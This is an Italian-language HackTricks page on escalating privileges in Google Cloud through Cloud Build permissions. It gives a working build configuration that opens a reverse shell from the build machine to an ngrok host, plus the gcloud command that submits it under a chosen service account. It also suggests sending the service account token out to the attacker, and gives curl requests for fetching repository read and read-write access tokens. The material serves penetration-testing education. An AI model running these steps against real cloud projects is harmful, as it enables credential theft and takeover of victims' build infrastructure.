# GCP - Cloudbuild Privesc

{{#include ../../../banners/hacktricks-training.md}}

## cloudbuild

Per maggiori informazioni su Cloud Build consulta:

{{#ref}}
../gcp-services/gcp-cloud-build-enum.md
{{#endref}}

### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`

Con questa autorizzazione puoi **inviare un Cloud Build**. La macchina cloudbuild avrà nel suo filesystem, di default, un token del cloudbuild Service Account: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Tuttavia, puoi **indicare qualsiasi service account all'interno del progetto** nella configurazione di cloudbuild.\
Quindi, puoi semplicemente far exfiltrate dalla macchina il token verso il tuo server o **ottenere una reverse shell al suo interno e recuperare il token** (il file contenente il token potrebbe cambiare).

#### Sfruttamento diretto via gcloud CLI

1- Crea `cloudbuild.yaml` e modificalo con i dati del tuo listener

<details><summary>Cloud Build YAML configuration for reverse shell</summary>
```yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
</details>

2- Carica una build semplice senza sorgente, il file yaml e specifica la SA da usare per la build:

<details><summary>Invia Cloud Build con service account specificato</summary>
```bash
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
```
</details>

#### Usare la libreria python gcloud

Puoi trovare lo script exploit originale [**here on GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (ma la posizione da cui prende il token non ha funzionato per me). Pertanto, controlla uno script per automatizzare la [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) e uno script python per ottenere una reverse shell all'interno della macchina cloudbuild e [**steal it here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (nel codice puoi trovare come specificare altri service accounts)**.**

Per una spiegazione più approfondita, visita [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)


### `cloudbuild.repositories.accessReadToken`

Con questo permesso l'utente può ottenere il **read access token** utilizzato per accedere al repository:

<details><summary>Ottieni il read access token per il repository</summary>
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"
```
</details>

### `cloudbuild.repositories.accessReadWriteToken`

Con questo permesso l'utente può ottenere il **read and write access token** utilizzato per accedere al repository:

<details><summary>Ottieni il read and write access token per il repository</summary>
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"
```
</details>

### `cloudbuild.connections.fetchLinkableRepositories`

Con questo permesso puoi **ottenere i repos a cui la connection ha accesso:**

<details><summary>Recupera repositories collegabili</summary>
```bash
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
```
</details>

{{#include ../../../banners/hacktricks-training.md}}
